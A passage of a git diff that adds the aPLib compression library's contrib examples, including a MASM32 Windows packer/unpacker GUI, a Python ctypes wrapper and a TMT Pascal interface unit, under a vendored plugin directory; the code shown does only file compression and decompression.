ExitLoop: + + return msg.wParam + +WinMain endp + +; ######################################################################### + +WndProc proc hWin :DWORD, + uMsg :DWORD, + wParam :DWORD, + lParam :DWORD + + LOCAL var :DWORD + LOCAL caW :DWORD + LOCAL caH :DWORD + LOCAL hFont :DWORD + LOCAL Rct :RECT + LOCAL hDC :DWORD + LOCAL Ps :PAINTSTRUCT + LOCAL tbab :TBADDBITMAP + LOCAL tbb :TBBUTTON + LOCAL buffer1[128]:BYTE ; these are two spare buffers + LOCAL buffer2[128]:BYTE ; for text manipulation etc.. + + .if uMsg == WM_COMMAND + + ; ******************************************************** + ; first check commands that are not allowed while packing + ; ******************************************************** + .if Packing == 0 + + .if wParam == 50 + .data + ThreadID dd 0 + .code + + ; start compressing in a thread + mov eax, OFFSET PackFile + invoke CreateThread,NULL,NULL,eax, + NULL,0,ADDR ThreadID + invoke CloseHandle,eax + + .elseif wParam == 51 + invoke UnpackFile + + .elseif wParam == 53 + invoke SendMessage,hWin,WM_SYSCOMMAND,SC_CLOSE,NULL + + .elseif wParam == 54 + + .data + SelectFile db "Select File",0 + fPattern db "*.*",0,0 + .code + + mov szFileName[0], 0 + + invoke GetFileName,hWin,ADDR SelectFile,ADDR fPattern + + .if szFileName[0] != 0 + invoke lcase,ADDR szFileName + invoke SetWindowText,hEdit1,ADDR szFileName + .endif + + .endif + + .endif + + ; ************************************** + ; then commands that are always allowed + ; ************************************** + .if wParam == 52 + + .data + AboutTtl db "aPLib Pack",0 + AboutMsg db "Joergen Ibsen's aPLib example",13,10,\ + "Copyright © MASM32 2001",0 + .code + + invoke ShellAbout,hWin,ADDR AboutTtl,ADDR AboutMsg,hIcon + + .elseif wParam == 55 + mov ContPack, 0 + + .elseif wParam == 56 + mov killFlag, 1 + + .endif + + .elseif uMsg == WM_SYSCOLORCHANGE + invoke Do_ToolBar,hWin + + .elseif uMsg == WM_CREATE + invoke Do_ToolBar,hWin + + .data + align 4 + caption db "...",0 + abortbt db "Stop",0 + nullbyte db 0 + .code + + invoke EditSl,ADDR nullbyte,20,100,253,22,hWin,700 + mov hEdit1, eax + invoke PushButton,ADDR caption,hWin,283,100,25,22,54 + mov hButn1, eax + invoke Static,ADDR nullbyte,hWin,20,127,240,20,500 + mov hStat1, eax + invoke PushButton,ADDR abortbt,hWin,270,127,38,21,55 + mov hButn2, eax + + invoke GetStockObject,ANSI_VAR_FONT + mov hFont, eax + + invoke SendMessage,hEdit1,WM_SETFONT,hFont,0 + invoke SendMessage,hButn1,WM_SETFONT,hFont,0 + invoke SendMessage,hStat1,WM_SETFONT,hFont,0 + invoke SendMessage,hButn2,WM_SETFONT,hFont,0 + + .elseif uMsg == WM_SIZE + invoke SendMessage,hToolBar,TB_AUTOSIZE,0,0 + + .elseif uMsg == WM_PAINT + invoke BeginPaint,hWin,ADDR Ps + mov hDC, eax + invoke Paint_Proc,hWin,hDC + invoke EndPaint,hWin,ADDR Ps + return 0 + + .elseif uMsg == WM_CLOSE + + .elseif uMsg == WM_DESTROY + invoke PostQuitMessage,NULL + return 0 + .endif + + invoke DefWindowProc,hWin,uMsg,wParam,lParam + + ret + +WndProc endp + +; ######################################################################## + +TopXY proc wDim:DWORD, sDim:DWORD + + shr sDim, 1 ; divide screen dimension by 2 + shr wDim, 1 ; divide window dimension by 2 + mov eax, wDim ; copy window dimension into eax + sub sDim, eax ; sub half win dimension from half screen dimension + + return sDim + +TopXY endp + +; ######################################################################### + +Paint_Proc proc hWin:DWORD, hDC:DWORD + + LOCAL btn_hi :DWORD + LOCAL btn_lo :DWORD + LOCAL Rct :RECT + + invoke GetSysColor,COLOR_BTNHIGHLIGHT + mov btn_hi, eax + + invoke GetSysColor,COLOR_BTNSHADOW + mov btn_lo, eax + + invoke FrameGrp,hEdit1,hButn2,4,1,0 + invoke FrameGrp,hEdit1,hButn2,5,1,1 + invoke FrameGrp,hEdit1,hButn2,14,1,0 + + return 0 + +Paint_Proc endp + +; ######################################################################## + +PackFile proc Param:DWORD + + LOCAL hFile :DWORD + LOCAL ln :DWORD + LOCAL br :DWORD + LOCAL source$ :DWORD + LOCAL dest$ :DWORD + LOCAL working$:DWORD + LOCAL clenth :DWORD + LOCAL szNameFile[128]:BYTE + + push esi + push edi + + invoke GetWindowText,hEdit1,ADDR szNameFile,128 + + cmp szNameFile[0], 0 + jne @F + invoke MessageBox,hWnd,ADDR plSelect, + ADDR szDisplayName,MB_OK + mov eax, 0 + pop edi + pop esi + ret + @@: + + invoke CreateFile,ADDR szNameFile, + GENERIC_READ, + FILE_SHARE_READ, + NULL,OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + NULL + mov hFile, eax + + invoke GetFileSize,hFile,NULL + mov ln, eax + + stralloc ln + mov source$, eax + + invoke ReadFile,hFile,source$,ln,ADDR br,NULL + + invoke CloseHandle,hFile + + mov esi, source$ + lodsd + cmp eax, "23PA" ; test for "AP32" signature + jne @F + .data + beendone db "This file has already been compressed by aPPack",0 + .code + invoke MessageBox,hWnd,ADDR beendone, + ADDR szDisplayName,MB_OK + strfree source$ + pop edi + pop esi + ret + @@: + + invoke aP_max_packed_size,ln + + stralloc eax + mov dest$, eax + + invoke aP_workmem_size,ln + + stralloc eax + mov working$, eax + + ; --------------------------------------- + ; compress source$ and write it to dest$ + ; --------------------------------------- + + mov Packing, 1 + mov ContPack, 1 + + invoke aPsafe_pack,source$,dest$,ln,working$,ADDR cbProc,NULL + mov clenth, eax + + .if eax == 0 + .data + aborted db "Packing aborted",0 + .code + invoke SendMessage,hStat1,WM_SETTEXT,0,ADDR aborted + jmp Abort + .endif + + .data + Patn1 db "*.*",0,0 + SaveFile1 db "Save File As",0 + .code + + mov szFileName[0], 0 + invoke SaveFileName,hWnd,ADDR SaveFile1,ADDR Patn1 + + .if szFileName[0] != 0 + ; ----------------------------------------- + ; truncate file to zero length if it exists + ; ----------------------------------------- + invoke CreateFile,ADDR szFileName, ; pointer to name of the file + GENERIC_WRITE, ; access (read-write) mode + NULL, ; share mode + NULL, ; pointer to security attributes + CREATE_ALWAYS, ; how to create + FILE_ATTRIBUTE_NORMAL, ; file attributes + NULL + mov hFile, eax + + invoke WriteFile,hFile,dest$,clenth,ADDR br,NULL + invoke CloseHandle,hFile + + .endif + + Abort: + + strfree source$ + strfree dest$ + strfree working$ + + mov Packing, 0 + + pop edi + pop esi + + ret + +PackFile endp + +; ######################################################################## + +UnpackFile proc + + LOCAL hFile :DWORD + LOCAL ln :DWORD + LOCAL br :DWORD + LOCAL dsize :DWORD + LOCAL source$ :DWORD + LOCAL dest$ :DWORD + LOCAL szNameFile[128]:BYTE + + push esi + + invoke GetWindowText,hEdit1,ADDR szNameFile,128 + + cmp szNameFile[0], 0 + jne @F + invoke MessageBox,hWnd,ADDR plSelect, + ADDR szDisplayName,MB_OK + mov eax, 0 + pop esi + ret + @@: + + invoke CreateFile,ADDR szNameFile, + GENERIC_READ, + FILE_SHARE_READ, + NULL,OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + NULL + mov hFile, eax + + invoke GetFileSize,hFile,NULL + mov ln, eax + + stralloc ln + mov source$, eax + + invoke ReadFile,hFile,source$,ln,ADDR br,NULL + + invoke CloseHandle,hFile + + invoke aPsafe_get_orig_size,source$ + mov dsize, eax + + test eax,eax + jnz @F + .data + noap db "This file has not been compressed by aPPack",0 + .code + invoke MessageBox,hWnd,ADDR noap, + ADDR szDisplayName,MB_OK + strfree source$ + pop esi + ret + @@: + stralloc dsize + mov dest$, eax + + invoke aPsafe_depack,source$,ln,dest$,dsize + + .data + Patn2 db "*.*",0,0 + SaveFile2 db "Save File As",0 + .code + + mov szFileName[0], 0 + invoke SaveFileName,hWnd,ADDR SaveFile2,ADDR Patn2 + + .if szFileName[0] != 0 + ; ----------------------------------------- + ; truncate file to zero length if it exists + ; ----------------------------------------- + invoke CreateFile,ADDR szFileName, ; pointer to name of the file + GENERIC_WRITE, ; access (read-write) mode + NULL, ; share mode + NULL, ; pointer to security attributes + CREATE_ALWAYS, ; how to create + FILE_ATTRIBUTE_NORMAL, ; file attributes + NULL + + mov hFile, eax + invoke WriteFile,hFile,dest$,dsize,ADDR br,NULL + invoke CloseHandle,hFile + .endif + + strfree source$ + strfree dest$ + + pop esi + + ret + +UnpackFile endp + +; ######################################################################## + +cbProc proc C orglen:DWORD,len1:DWORD,len2:DWORD,cbparam:DWORD + + ; ------------------------------------------------------ + ; This is an application defined callback that receives + ; 2 parameters from the "aP_pack" procedure during the + ; compression process. Note the "C" calling convention. + ; ------------------------------------------------------ + + LOCAL buff[32]:BYTE + LOCAL buf2[16]:BYTE + + invoke dwtoa,len1,ADDR buff + invoke dwtoa,len2,ADDR buf2 + + .data + arrow db " => ",0 + .code + + invoke lstrcat,ADDR buff,ADDR arrow + invoke lstrcat,ADDR buff,ADDR buf2 + + invoke SendMessage,hStat1,WM_SETTEXT,0,ADDR buff + + mov eax, ContPack + ret + +cbProc endp + +; ######################################################################## + +end start diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/appack.inc b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/appack.inc new file mode 100644 index 0000000..4fca85d --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/appack.inc @@ -0,0 +1,95 @@ +; ######################################################################### + +; include files +; ~~~~~~~~~~~~~ + include \MASM32\INCLUDE\windows.inc + include \MASM32\INCLUDE\masm32.inc + include \MASM32\INCLUDE\gdi32.inc + include \MASM32\INCLUDE\user32.inc + include \MASM32\INCLUDE\kernel32.inc + include \MASM32\INCLUDE\Comctl32.inc + include \MASM32\INCLUDE\comdlg32.inc + include \MASM32\INCLUDE\shell32.inc + include \MASM32\include\oleaut32.inc + include aplib.inc + +; libraries +; ~~~~~~~~~ + includelib \MASM32\LIB\masm32.lib + + includelib \MASM32\LIB\gdi32.lib + includelib \MASM32\LIB\user32.lib + includelib \MASM32\LIB\kernel32.lib + includelib \MASM32\LIB\Comctl32.lib + includelib \MASM32\LIB\comdlg32.lib + includelib \MASM32\LIB\shell32.lib + includelib \MASM32\LIB\oleaut32.lib + includelib ..\..\lib\coff\aplib.lib + +; ######################################################################### + + ;================= + ; Local prototypes + ;================= + WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD + WndProc PROTO :DWORD,:DWORD,:DWORD,:DWORD + TopXY PROTO :DWORD,:DWORD + Paint_Proc PROTO :DWORD,:DWORD + PackFile PROTO :DWORD + UnpackFile PROTO + cbProc PROTO C :DWORD,:DWORD,:DWORD,:DWORD + + wsprintfA PROTO C :DWORD,:VARARG + wsprintf equ + + ;============= + ; Local macros + ;============= + + szText MACRO Name, Text:VARARG + LOCAL lbl + jmp lbl + Name db Text,0 + lbl: + ENDM + + m2m MACRO M1, M2 + push M2 + pop M1 + ENDM + + return MACRO arg + mov eax, arg + ret + ENDM + + stralloc MACRO ln + invoke SysAllocStringByteLen,0,ln + ENDM + + strfree MACRO strhandle + invoke SysFreeString,strhandle + ENDM + + .data + CommandLine dd 0 + hWnd dd 0 + hInstance dd 0 + hIcon dd 0 + hEdit1 dd 0 + hButn1 dd 0 + hButn2 dd 0 + hStat1 dd 0 + Packing dd 0 + ContPack dd 1 + killFlag dd 0 + szDisplayName db "aPLib Pack",0 + plSelect db "Please Select File First",0 + +; ########################### Inserted modules ############################ + + include toolbar.asm + include filedlgs.asm + include ctrls.asm + +; ######################################################################### diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/ctrls.asm b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/ctrls.asm new file mode 100644 index 0000000..addb478 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/ctrls.asm @@ -0,0 +1,66 @@ +; ######################################################################## + + PushButton PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD + EditSl PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD + Static PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD + + .data + btnClass db "BUTTON",0 + EditClass db "EDIT",0 + statClass db "STATIC",0 + + .code + +; ######################################################################## + +PushButton proc lpText:DWORD,hParent:DWORD, + a:DWORD,b:DWORD,wd:DWORD,ht:DWORD,ID:DWORD + +; invoke PushButton,ADDR szText,hWnd,20,20,100,25,500 + + invoke CreateWindowEx,0, + ADDR btnClass,lpText, + WS_CHILD or WS_VISIBLE, + a,b,wd,ht,hParent,ID, + hInstance,NULL + + ret + +PushButton endp + +; ######################################################################### + +EditSl proc szMsg:DWORD,a:DWORD,b:DWORD, + wd:DWORD,ht:DWORD,hParent:DWORD,ID:DWORD + +; invoke EditSl,ADDR adrTxt,200,10,150,25,hWnd,700 + + + invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR EditClass,szMsg, + WS_VISIBLE or WS_CHILDWINDOW or \ + ES_AUTOHSCROLL or ES_NOHIDESEL, + a,b,wd,ht,hParent,ID,hInstance,NULL + + ret + +EditSl endp + +; ######################################################################## + +Static proc lpText:DWORD,hParent:DWORD, + a:DWORD,b:DWORD,wd:DWORD,ht:DWORD,ID:DWORD + +; invoke Static,ADDR szText,hWnd,20,20,100,25,500 + + invoke CreateWindowEx,WS_EX_STATICEDGE, + ADDR statClass,lpText, + WS_CHILD or WS_VISIBLE or SS_CENTER, + a,b,wd,ht,hParent,ID, + hInstance,NULL + + ret + +Static endp + +; ######################################################################## + diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/file0750.bmp b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/file0750.bmp new file mode 100644 index 0000000..b488426 Binary files /dev/null and b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/file0750.bmp differ diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/filedlgs.asm b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/filedlgs.asm new file mode 100644 index 0000000..1134902 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/filedlgs.asm @@ -0,0 +1,52 @@ +; ######################################################################## + + GetFileName PROTO :DWORD, :DWORD, :DWORD + SaveFileName PROTO :DWORD, :DWORD, :DWORD + FillBuffer PROTO :DWORD, :DWORD, :BYTE + + .data + szFileName db 260 dup(0) + ofn OPENFILENAME <> ; structure + + .code + +; ######################################################################## + +GetFileName proc hParent:DWORD,lpTitle:DWORD,lpFilter:DWORD + + mov ofn.lStructSize, sizeof OPENFILENAME + m2m ofn.hWndOwner, hParent + m2m ofn.hInstance, hInstance + m2m ofn.lpstrFilter, lpFilter + m2m ofn.lpstrFile, offset szFileName + mov ofn.nMaxFile, sizeof szFileName + m2m ofn.lpstrTitle, lpTitle + mov ofn.Flags, OFN_EXPLORER or OFN_FILEMUSTEXIST or \ + OFN_LONGNAMES + + invoke GetOpenFileName,ADDR ofn + + ret + +GetFileName endp + +; ######################################################################### + +SaveFileName proc hParent:DWORD,lpTitle:DWORD,lpFilter:DWORD + + mov ofn.lStructSize, sizeof OPENFILENAME + m2m ofn.hWndOwner, hParent + m2m ofn.hInstance, hInstance + m2m ofn.lpstrFilter, lpFilter + m2m ofn.lpstrFile, offset szFileName + mov ofn.nMaxFile, sizeof szFileName + m2m ofn.lpstrTitle, lpTitle + mov ofn.Flags, OFN_EXPLORER or OFN_LONGNAMES or OFN_OVERWRITEPROMPT + + invoke GetSaveFileName,ADDR ofn + + ret + +SaveFileName endp + +; ######################################################################## diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/makeit.bat b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/makeit.bat new file mode 100644 index 0000000..490d420 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/makeit.bat @@ -0,0 +1,40 @@ +@echo off + +if not exist rsrc.rc goto over1 +\MASM32\BIN\Rc.exe /v rsrc.rc +\MASM32\BIN\Cvtres.exe /machine:ix86 rsrc.res +:over1 + +if exist %1.obj del aPPack.obj +if exist %1.exe del aPPack.exe + +\MASM32\BIN\Ml.exe /c /coff aPPack.asm +if errorlevel 1 goto errasm + +if not exist rsrc.obj goto nores + +\MASM32\BIN\Link.exe /SUBSYSTEM:WINDOWS aPPack.obj rsrc.obj +if errorlevel 1 goto errlink + +dir aPPack.* +goto TheEnd + +:nores +\MASM32\BIN\Link.exe /SUBSYSTEM:WINDOWS aPPack.obj +if errorlevel 1 goto errlink +dir aPPack.* +goto TheEnd + +:errlink +echo _ +echo Link error +goto TheEnd + +:errasm +echo _ +echo Assembly Error +goto TheEnd + +:TheEnd + +pause diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/rsrc.rc b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/rsrc.rc new file mode 100644 index 0000000..8cc2caa --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/rsrc.rc @@ -0,0 +1,5 @@ +#include "\masm32\include\resource.h" + +500 ICON MOVEABLE PURE LOADONCALL DISCARDABLE "ap.ico" + +750 BITMAP MOVEABLE PURE LOADONCALL DISCARDABLE "file0750.bmp" diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/tbmacros.asm b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/tbmacros.asm new file mode 100644 index 0000000..32a167d --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/tbmacros.asm @@ -0,0 +1,70 @@ + ; --------------------------- + ; macros for creating toolbar + ; --------------------------- + + TBextraData MACRO + mov tbb.fsState, TBSTATE_ENABLED + mov tbb.dwData, 0 + mov tbb.iString, 0 + ENDM + + ; ------------------------------ + + TBbutton MACRO bID, cID + mov tbb.iBitmap, bID ;; button ID number + mov tbb.idCommand, cID ;; command ID number + mov tbb.fsStyle, TBSTYLE_BUTTON + invoke SendMessage,hToolBar,TB_ADDBUTTONS,1,ADDR tbb + ENDM + + ; ------------------------------ + + TBblank MACRO + mov tbb.iBitmap, 0 + mov tbb.idCommand, 0 + mov tbb.fsStyle, TBSTYLE_SEP + invoke SendMessage,hToolBar,TB_ADDBUTTONS,1,ADDR tbb + ENDM + + ; ------------------------------ + + Create_Tool_Bar MACRO Wd, Ht + + szText tbClass,"ToolbarWindow32" + + invoke CreateWindowEx,0, + ADDR tbClass, + ADDR szDisplayName, + WS_CHILD or WS_VISIBLE or CCS_NODIVIDER or TBSTYLE_FLAT, + 0,0,500,40, + hWin,NULL, + hInstance,NULL + + ;; or TBSTYLE_FLAT + + mov hToolBar, eax + + invoke SendMessage,hToolBar,TB_BUTTONSTRUCTSIZE,sizeof TBBUTTON,0 + + ;; --------------------------------------- + ;; Put width & height of bitmap into DWORD + ;; --------------------------------------- + mov ecx,Wd ;; loword = bitmap Width + mov eax,Ht ;; hiword = bitmap Height + shl eax,16 + mov ax, cx + + mov bSize, eax + + invoke SendMessage,hToolBar,TB_SETBITMAPSIZE,0,bSize + + invoke SetBmpColor,hTbBmp + mov hTbBmp,eax + + mov tbab.hInst, 0 + m2m tbab.nID, hTbBmp + invoke SendMessage,hToolBar,TB_ADDBITMAP,12,ADDR tbab + + invoke SendMessage,hToolBar,TB_SETBUTTONSIZE,0,bSize + ENDM + diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/toolbar.asm b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/toolbar.asm new file mode 100644 index 0000000..2aada43 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/masm32/toolbar.asm @@ -0,0 +1,106 @@ +; ######################################################################## + + Do_ToolBar PROTO :DWORD + SetBmpColor PROTO :DWORD + + include tbmacros.asm + + .data + hTbBmp dd 0 + hToolBar dd 0 + + .code + +; ######################################################################## + +Do_ToolBar proc hWin :DWORD + + ; --------------------------------------- + ; This proc works by using macros so that + ; the code is easier to read and modify + ; --------------------------------------- + + LOCAL bSize :DWORD + LOCAL tbab :TBADDBITMAP + LOCAL tbb :TBBUTTON + + ; ------------------ + ; The toolbar bitmap + ; ~~~~~~~~~~~~~~~~~~ + ; You must supply a bitmap for the toolbar that has the + ; correct number of the required images, each of the same + ; size and in the following strip bitmap form. + + ; ------------------------------------- + ; | 1 | 2 | 3 | 4 | 5 | 6 | + ; ------------------------------------- + + ; ------------------------ + ; Uncomment following when + ; bitmap has been created + ; ------------------------ + invoke LoadBitmap,hInstance,750 + mov hTbBmp,eax + + ; -------------------------------------------------- + ; Set toolbar button dimensions here, width & height + ; -------------------------------------------------- + Create_Tool_Bar 75, 75 + + TBextraData ; additional data for TBBUTTON structure + + ; ----------------------------------- + ; Add toolbar buttons and spaces here + ; Syntax for the macro TBbutton is + ; TBbutton bmpID number, WM_COMMAND ID number + ; WM_COMMAND ID numbers start at 50 + ; ----------------------------------- + TBbutton 0, 50 + TBbutton 1, 51 + TBbutton 2, 52 + TBbutton 3, 53 + + ret + +Do_ToolBar endp + +; ######################################################################## + +SetBmpColor proc hBitmap:DWORD + + LOCAL mDC :DWORD + LOCAL hBrush :DWORD + LOCAL hOldBmp :DWORD + LOCAL hReturn :DWORD + LOCAL hOldBrush :DWORD + + invoke CreateCompatibleDC,NULL + mov mDC,eax + + invoke SelectObject,mDC,hBitmap + mov hOldBmp,eax + + invoke GetSysColor,COLOR_BTNFACE + invoke CreateSolidBrush,eax + mov hBrush,eax + + invoke SelectObject,mDC,hBrush + mov hOldBrush,eax + + invoke GetPixel,mDC,1,1 + invoke ExtFloodFill,mDC,1,1,eax,FLOODFILLSURFACE + + invoke SelectObject,mDC,hOldBrush + invoke DeleteObject,hBrush + + invoke SelectObject,mDC,hBitmap + mov hReturn,eax + invoke DeleteDC,mDC + + mov eax,hReturn + + ret + +SetBmpColor endp + +; ######################################################################### diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/python/aplib.py b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/python/aplib.py new file mode 100644 index 0000000..e94a047 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/python/aplib.py @@ -0,0 +1,149 @@ +################################################################################ +# quick hack for using aplib (http://www.ibsensoftware.com/products_aPLib.html) +# put aplib.dll in %PATH% or same dir as this script +# on *nix it might require LD_LIBRARY_PATH set depending on where libaplib.so is + +import os +from ctypes import * + +################################################################################ + +__all__ = [ 'pack', 'pack_safe', 'depack', 'depack_safe', 'CB_COMPRESS'] + +################################################################################ + +if os.name == 'nt': + CB_COMPRESS = WINFUNCTYPE(c_uint, c_uint, c_uint, c_uint, c_void_p) + _aplib = windll.aplib +else: + CB_COMPRESS = CFUNCTYPE(c_uint, c_uint, c_uint, c_uint, c_void_p) + # might require LD_LIBRARY_PATH set + _aplib = CDLL("libaplib.so") + +def _ratio(inpos, insize): + return (inpos * 100) / insize + +def _cbCompress(insize, inpos, outpos, cbparam): + print "compressed %u -> %u bytes (%u%% done)" % \ + ( inpos, outpos, _ratio(inpos, insize)) + return 1 + +_cbCompressFunc = CB_COMPRESS(_cbCompress) + +################################################################################ + +def pack(src, cb=None): + + srclen = len(src) + if srclen <= 0: + raise ValueError('Invalid input.') + + dstlen = _aplib.aP_max_packed_size(srclen) + dst = create_string_buffer(dstlen) + wrkmem = create_string_buffer(_aplib.aP_workmem_size(srclen)) + + dstlen = _aplib.aP_pack(src, dst, srclen, wrkmem, cb, 0) + + if dstlen == -1: + raise ValueError('Compression error.') + + return buffer(dst, 0, dstlen) + +def pack_safe(src, cb=None): + + srclen = len(src) + if srclen <= 0: + raise ValueError('Invalid input.') + + dstlen = _aplib.aP_max_packed_size(srclen) + dst = create_string_buffer(dstlen) + wrkmem = create_string_buffer(_aplib.aP_workmem_size(srclen)) + + dstlen = _aplib.aPsafe_pack(src, dst, srclen, wrkmem, cb, 0) + + if dstlen == -1: + raise ValueError('Compression error.') + + return buffer(dst, 0, dstlen) + +################################################################################ + +def depack(src, dstlen): + + srclen = len(src) + if srclen <= 0 or dstlen <= 0: + raise ValueError('Invalid input.') + + dst = create_string_buffer(dstlen) + + dstlen = _aplib.aP_depack_asm_safe(src, srclen, dst, dstlen) + + if dstlen == -1: + raise ValueError('Decompression error.') + + return buffer(dst, 0, dstlen) + +def depack_safe(src): + + srclen = len(src) + if srclen <= 0: + raise ValueError('Invalid input.') + + dstlen = _aplib.aPsafe_get_orig_size(src) + dst = create_string_buffer(dstlen) + + dstlen = _aplib.aPsafe_depack(src, srclen, dst, dstlen) + + if dstlen == -1: + raise ValueError('Decompression error.') + + return buffer(dst, 0, dstlen) + +################################################################################ + +if __name__ == "__main__": + import optparse + + parser = optparse.OptionParser( + usage='%prog [-h] [-v] -m c|d infile outfile' + ) + parser.add_option( + '-m', '--mode', + action="store", + type="string", + dest='mode', + help='c for compress, d for decompress') + parser.add_option( + '-v', '--verbose', + action="store_true", + dest='verbose') + + options, args = parser.parse_args() + if not options.mode in ['c', 'd']: + parser.error('You must give a valid --mode') + if not len(args) == 2: + parser.error('You must give in- and outfile') + + infile = args[0] + outfile = args[1] + + src = open(infile, 'rb').read() + + if options.mode == 'c': + print "Compressing '%s' to '%s'" % (infile, outfile) + if options.verbose: + dst = pack_safe(src, _cbCompressFunc) + else: + dst = pack_safe(src) + open(outfile, 'wb').write(dst) + print "Compressed '%s' from %u to %u bytes (%u%%)" \ + % (infile, len(src), len(dst), _ratio(len(dst), len(src))) + elif options.mode == 'd': + print "Decompressing '%s' to '%s'" % (infile, outfile) + dst = depack_safe(src) + open(outfile, 'wb').write(dst) + print "Decompressed '%s' from %u to %u bytes (%u%%)" \ + % (infile, len(src), len(dst), _ratio(len(dst), len(src))) + + +################################################################################ diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/tmt/aplibu.pas b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/tmt/aplibu.pas new file mode 100644 index 0000000..66b4ae4 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/tmt/aplibu.pas @@ -0,0 +1,228 @@ +unit aplibu; + +(* + * aPLib compression library - the smaller the better :) + * + * TMT Pascal interface to aPLib Delphi objects + * + * Copyright (c) 1998-2009 by Joergen Ibsen / Jibz + * All Rights Reserved + * + * http://www.ibsensoftware.com/ + * + * -> VPascal by Veit Kannegieser, 23.09.1998 + * -> TMT Pascal by Oleg Prokhorov + *) + +(* To enable aborting compression with Esc, define ESC_ABORT *) + +interface + +const + aP_pack_continue=1; + aP_pack_break =0; + + aPLib_Error =-1; (* indicates error compressing/decompressing *) + +function aP_pack(var source; + var destination; + length:longint; + var workmem; + callback:pointer; + cbparam:pointer):longint; + +function aP_workmem_size(inputsize:longint):longint; + +function aP_max_packed_size(inputsize:longint):longint; + +function aP_depack_asm(var source,destination):longint; + +function aP_depack_asm_fast(var source,destination):longint; + +function aP_depack_asm_safe(var source; + srclen:longint; + var destination; + dstlen:longint):longint; + +function aP_crc32(var source; + length:longint):longint; + +function aPsafe_pack(var source; + var destination; + length:longint; + var workmem; + callback:pointer; + cbparam:pointer):longint; + +function aPsafe_check(var source):longint; + +function aPsafe_get_orig_size(var source):longint; + +function aPsafe_depack(var source; + srclen:longint; + var destination; + dstlen:longint):longint; + +function cb0:longint; +function cb1:longint; + +implementation + +(*$IFDEF ESC_ABORT*) +uses crt; +(*$ENDIF ESC_ABORT*) + +function _aP_pack:longint;external; +function _aP_workmem_size:longint;external; +function _aP_max_packed_size:longint;external; +function _aP_depack_asm:longint;external; +function _aP_depack_asm_fast:longint;external; +function _aP_depack_asm_safe:longint;external; +function _aP_crc32:longint;external; +function _aPsafe_pack:longint;external; +function _aPsafe_check:longint;external; +function _aPsafe_get_orig_size:longint;external; +function _aPsafe_depack:longint;external; + +(*$l ..\..\lib\omf\aplib.obj *) +(*$l ..\..\lib\omf\depack.obj *) +(*$l ..\..\lib\omf\depackf.obj *) +(*$l ..\..\lib\omf\depacks.obj *) +(*$l ..\..\lib\omf\crc32.obj *) +(*$l ..\..\lib\omf\spack.obj *) +(*$l ..\..\lib\omf\scheck.obj *) +(*$l ..\..\lib\omf\sgetsize.obj *) +(*$l ..\..\lib\omf\sdepack.obj *) + +function aP_pack(var source; + var destination; + length:longint; + var workmem; + callback:pointer; + cbparam:pointer):longint;assembler; + asm + push cbparam + push callback + push workmem + push length + push destination + push source + call _aP_pack + end; + +function aP_workmem_size(inputsize:longint):longint;assembler; + asm + push inputsize + call _aP_workmem_size + end; + +function aP_max_packed_size(inputsize:longint):longint;assembler; + asm + push inputsize + call _aP_max_packed_size + end; + +function aP_depack_asm(var source,destination):longint;assembler; + asm + push destination + push source + call _aP_depack_asm + end; + +function aP_depack_asm_fast(var source,destination):longint;assembler; + asm + push destination + push source + call _aP_depack_asm_fast + end; + +function aP_depack_asm_safe(var source; + srclen:longint; + var destination; + dstlen:longint):longint;assembler; + asm + push dstlen + push destination + push srclen + push source + call _aP_depack_asm_safe + end; + +function aP_crc32(var source; + length:longint):longint;assembler; + asm + push length + push source + call _aP_crc32 + end; + +function aPsafe_pack(var source; + var destination; + length:longint; + var workmem; + callback:pointer; + cbparam:pointer):longint;assembler; + asm + push cbparam + push callback + push workmem + push length + push destination + push source + call _aPsafe_pack + end; + +function aPsafe_check(var source):longint;assembler; + asm + push source + call _aPsafe_check + end; + +function aPsafe_get_orig_size(var source):longint;assembler; + asm + push source + call _aPsafe_get_orig_size + end; + +function aPsafe_depack(var source; + srclen:longint; + var destination; + dstlen:longint):longint;assembler; + asm + push dstlen + push destination + push srclen + push source + call _aPsafe_depack + end; + + +(* callback samples for _aP_pack *) + +function cb0:longint;assembler; + asm + mov eax,aP_pack_continue + end; + +function cb1_(w1,w2:longint):longint; + 